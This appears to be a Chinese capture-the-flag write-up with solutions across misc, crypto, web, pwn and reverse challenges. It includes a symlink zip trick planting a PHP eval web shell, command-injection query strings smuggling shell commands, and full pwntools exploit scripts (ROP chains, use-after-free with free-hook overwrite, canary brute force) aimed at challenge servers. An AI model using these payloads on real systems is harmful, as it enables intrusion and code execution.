misc 签到卡 print(open('/flag').read())
被加密的生产流量 追踪tcp流,数据提取出来base32
国粹 先分割题目.png
中的小麻将到output
1 2 3 4 5 6 7 8 9 10 11 12 13 import os w=0 h=0 from PIL import Image a=Image.open ('题目.png' ) w1,h1=a.sizewhile w<w1: im=a.crop((w,h,w+53 ,h+73 )) im.save(os.path.join('output' ,str (w))+'.png' ) w+=53
再将a.png
和k.png
中的小麻将去output
找对应的索引值,分别作为纵坐标和横坐标画图得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import cv2import numpy as np a=cv2.imread("a.png" ) k=cv2.imread("k.png" ) w=len (a[0 ]) i=0 import os path='output/' d=os.listdir(path) d.remove("0.png" ) data=[[],[]] Status=[False ,False ]def check (im1,im2,sind ): A=cv2.absdiff(im1,im2) if np.count_nonzero(A) ==0 : Status[sind]=True ind=int (j.split('.' )[0 ]) if ind!=0 : data[sind].append(ind//53 ) pass while i<w: ima=a[0 :73 ,i:i+53 ] imk=k[0 :73 ,i:i+53 ] Status=[False ,False ] for j in d: im2=cv2.imread(os.path.join(path,j)) check(ima,im2,0 ) check(imk,im2,1 ) if Status==[True ,True ]: break i+=53 from PIL import Image a=Image.new("1" ,(42 ,42 ))for i in range (w//53 ): a.putpixel((data[1 ][i],data[0 ][i]),255 ) a.save('123.png' ) a.show()
crypto 基于国密SM2算法的密钥密文分发 根据文档一步一步来即可,虽然有点没看懂
先找个网址生成一组公钥和密钥 https://www.lzltool.com/SM2
登录拿id
上传公钥
访问/api/quantum
获取密钥密文
访问/api/check
发送quantumString
的值
使quantumStringUser
的值等于quantumStringServer
的值即可通过验证
访问/api/search
得到flag
可信度量 非预期
/proc/22/task/22/environ
可以直接看到flag
Sign_in_passwd base64换表
web unzip 上传后返回源码
只能上传zip
文件,上传后在tmp
目录使用unzip -o
解压
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );$finfo = finfo_open (FILEINFO_MIME_TYPE);if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/zip' ){ exec ('cd /tmp && unzip -o ' . $_FILES ["file" ]["tmp_name" ]); };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 //构造一个指向/var/www/html的软连接ln -s /var/www/html poc //保留软连接压缩 zip --symlinks test.zip poc //创建跟第一个压缩包中目录同名的目录mkdir poc //接着向目录中写一个shellecho "<?php eval(\$_POST['a']);?>" > ./poc/shell.php //压缩这个目录 zip -r test1.zip poc
上传第一个压缩包后会在tmp
目录下生成一个软连接到/var/www/html
,当我们上传第二个压缩包时,因为poc
目录已经软连接到/var/www/html
了,所以解压的时候会把shell.php
放在/var/www/html
dumpit 根据题目描述可知分别有查询和导出的功能点
根据执行命令后的返回值推测执行的命令如下
传入?db=a&table_2_query=b
时会执行select * from a.b
传入?db=a&table_2_dump=b
时会执行mysqldump -u root a b > log/xxx.log
这里因为a
和b
的值可控,所以相当于我们可以执行命令了
方法1: 直接传?db=ctf&table_2_dump=%0a+id+>+log/1+%0
,然后访问log/1
方法2: 因为mysqldump
在找不到我们给出的表的情况下会抛出错误信息mysqldump: Couldn't find table: "表名"
在linux
中可以利用2>
将命令执行的结果输出到文件中
传/?db=ctf&table_2_dump=\<\?\=phpinfo\(\)?\>+2>+log/1.php
,然后访问1.php
index.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php $servername = "127.0.0.1" ;$username = "www-data" ;$password = "" ;function is_valid ($str ) { $black = ';`*#^$&|' ; for ($i =0 ;$i <strlen ($black );$i ++){ if (!(stristr ($str ,$black [$i ])===FALSE )){ return FALSE ; } } if (!(stristr ($str ,'host' )===FALSE )){ return FALSE ; } if (!(stristr ($str ,'-h' )===FALSE )){ return FALSE ; } return TRUE ; }try { $conn = new PDO ("mysql:host=$servername ;dbname=ctf" , $username , $password ); }catch (PDOException $e ) { die ($e ->getMessage ()); }if (!isset ($_GET ['table_2_query' ]) && !isset ($_GET ['table_2_dump' ])){ echo 'use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1' ; die (); }if (isset ($_GET ['db' ])){ $db =$_GET ['db' ]; }else { die ('no db!' ); }if (isset ($_GET ['table_2_query' ])){ $t2q = $_GET ['table_2_query' ]; $sql = "select * from $db .$t2q " ; if (!(is_valid ($t2q ))){ die ('nop' ); } if (!(is_valid ($db ))){ die ('nop' ); } echo $sql ; echo '</br>' ; try { $stm = $conn ->query ($sql ); $res = $stm ->fetch (); var_dump ($res ); } catch (PDOException $e ){ die ('error' ); } die (); }if (isset ($_GET ['table_2_dump' ])){ $t2d =$_GET ['table_2_dump' ]; if (!(is_valid ($t2d ))){ die ('nop' ); } if (!(is_valid ($db ))){ die ('nop' ); } $randstr = md5 (time ()); $dump ='mariadb-dump ' .$db .' ' .$t2d .' >./log/' .$randstr .'.log' ; system ($dump ); echo 'dump log here: <a href=\'' .'./log/' .$randstr .'.log' .'\'>here</a>' ; }?>
pwn 烧烤摊儿 修改名称存在栈溢出,程序不存在system
函数,使用orw
获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from ppwn import * p=Remote("123.56.251.120 12585" ) e=ELF("./shaokao" ) fopen=e.sym['open64' ] read=e.sym['read' ] write=e.sym['write' ] rdi=0x000000000040264f rsi=0x000000000040a67e rdx=0x00000000004a404b p.sendlineafter('> ' ,'1' ) p.sendline("3" ) p.sendline('-100000' ) p.sendlineafter('> ' ,'4' ) p.sendlineafter('> ' ,'5' ) payload=b'flag' .ljust(0x28 ,b'\x00' ) payload+=p64(rdi)+p64(0x4e60f0 )+p64(rsi)+p64(0 )+p64(fopen) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(0x4e60f0 )+p64(rdx)+p64(0x40 )+b'a' *8 +p64(read) payload+=p64(rdi)+p64(1 )+p64(write) p.sendline(payload) p.interactive()
StrangeTalkBot 程序使用了protobuf
协议解析输入数据,构造protobuf
数据,传入即可 程序中存在uaf
漏洞与数组越界漏洞,利用gadget
构造栈迁移,实现orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *import varintimport sysdef Mode (m ): return b'\x08' +varint.encode(m<<1 )def Ind (i ): return b'\x10' +varint.encode(i<<1 )def Size (s ): return b'\x18' +varint.encode(s<<1 )def Data (d ): return b'\x22' +varint.encode(len (d))+ddef add (ind,size,data=b' ' ): payload=Mode(1 )+Ind(ind)+Size(size)+Data(data) p.sendafter("now: \n" ,payload)def edit (ind,data ): payload=Mode(2 )+Ind(ind)+Size(0 )+Data(data) p.sendafter("now: \n" ,payload)def show (ind ): payload=Mode(3 )+Ind(ind)+Size(0 )+Data(b'' ) p.sendafter("now: \n" ,payload)def free (ind ): payload=Mode(4 )+Ind(ind)+Size(0 )+Data(b'' ) p.sendafter("now: \n" ,payload) e=ELF("./pwn" ) context.binary=e libc=ELF("./libc-2.31.so" )if len (sys.argv)==1 : p=process("./pwn" ) gdb.attach(p)else : p=remote("123.56.244.196" ,"35492" )for i in range (10 ): add(i,0xe8 )for i in range (7 ): free(i) show(1 ) heap=u64(p.read(8 ))print (hex (heap)) show(2 ) heap1=u64(p.read(8 ))print (hex (heap1)) free(7 ) free(8 ) show(8 ) d=u64(p.read(8 ))print (hex (d)) libc.address=d-0x1eccc0 free_hook=libc.sym['__free_hook' ] gadget=libc.address+0x154dea mprotect=libc.sym['mprotect' ] rdi=0x0000000000023b6a +libc.address rsi=0x000000000002601f +libc.address rdx=0x0000000000142c92 +libc.address leave=libc.address+0x00000000000578c8 edit(6 ,p64(free_hook)) add(0x20 ,0xe8 ) payload=b'a' edit(0 ,flat([heap+0x48 ,leave, heap1&0xfffffffffffff000 , heap,0 , leave,0 ,0 ,0 , heap, rdi,heap1&0xfffffffffffff000 , rsi,0x1000 , rdx,7 , mprotect, heap1])) shellcode=shellcraft.open ('flag' )+shellcraft.read(3 ,heap-0x50 ,0x50 )+shellcraft.write(1 ,heap-0x50 ,0x50 ) edit(1 ,asm(shellcode)) add(0x11 ,0xe8 ) add(0x12 ,0xe8 ,p64(gadget))print (hex (free_hook))print (hex (gadget)) free(0 ) p.interactive()
funcanary 程序使用了fork
,所以在子进程中报错,不会使程序中断,所以爆破canary
,然后跳转到后门位置就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * backdoor=0x1229 p=remote("123.56.135.185" ,"32640" ) canary=b'\x00' for i in range (7 ): for j in range (0x100 ): p.sendafter(b'welcome\n' ,b'a' *0x68 +canary+p8(j)) data=p.readline() if b'stack' not in data: print (j) canary+=p8(j) break i=0 context.log_level='debug' f=open ('data' ,'wb' )while i<0x10 : for j in range (0x30 ): data=p.readuntil('welcome\n' ) f.write(data) p.send(b'a' *0x68 +canary+b'b' *8 +p16(0xffff &(0x1200 +j+i*0x1000 ))) pause() i+=1 p.interactive()
Shell We Go 当认证结束之后,执行echo
指令,存在栈溢出,使用+
可以跳过栈空间,直接覆盖返回值 构造rop
,执行orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * p=remote("47.93.187.243" ,"38686" ) p.sendline(b"cert nAcDsMicN S33UAga1n@#!" ) context.log_level='debug' cmd=""" bp 0x4c181a bp 0x4c18a0 """ def makepayload (data ): e=b'' i=0 step=0x20 while i<len (data): e+=data[i:i+step]+b' ' i+=step pass return b'echo ' +e rdi=0x0000000000444fec system=0x43e7e6 rsi=0x000000000041e818 rdx=0x000000000049e11d sh=0x4c38e7 rax=0x000000000040d9e6 flag=0x4c34c8 syscall=0x000000000040328c e=ELF("./pwn" ) bss=e.bss() payload=b'+' *(0x298 -0x78 )+b'\x00' *3 +p64(rdi)+p64(flag)+p64(rsi)+p64(0 )+p64(rdx)+p64(0 )+p64(rax)+p64(2 )+p64(syscall) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(bss+0x200 )+p64(rdx)+p64(0x40 )+p64(rax)+p64(0 )+p64(syscall) payload+=p64(rdi)+p64(1 )+p64(rsi)+p64(bss+0x200 )+p64(rdx)+p64(0x40 )+p64(rax)+p64(1 )+p64(syscall) p.sendline(makepayload(payload)) p.interactive()
reverse babyRE https://snap.berkeley.edu/ 导入xml
导出密文后异或得到flag
1 2 3 4 5 6 a=[102 ,10 ,13 ,6 ,28 ,74 ,3 ,1 ,3 ,7 ,85 ,0 ,4 ,75 ,20 ,92 ,92 ,8 ,28 ,25 ,81 ,83 ,7 ,28 ,76 ,88 ,9 ,0 ,29 ,73 ,0 ,86 ,4 ,87 ,87 ,82 ,84 ,85 ,4 ,85 ,87 ,30 ]for i in range (1 ,len (a)): a[i]=a[i]^a[i-1 ]print (bytes (a))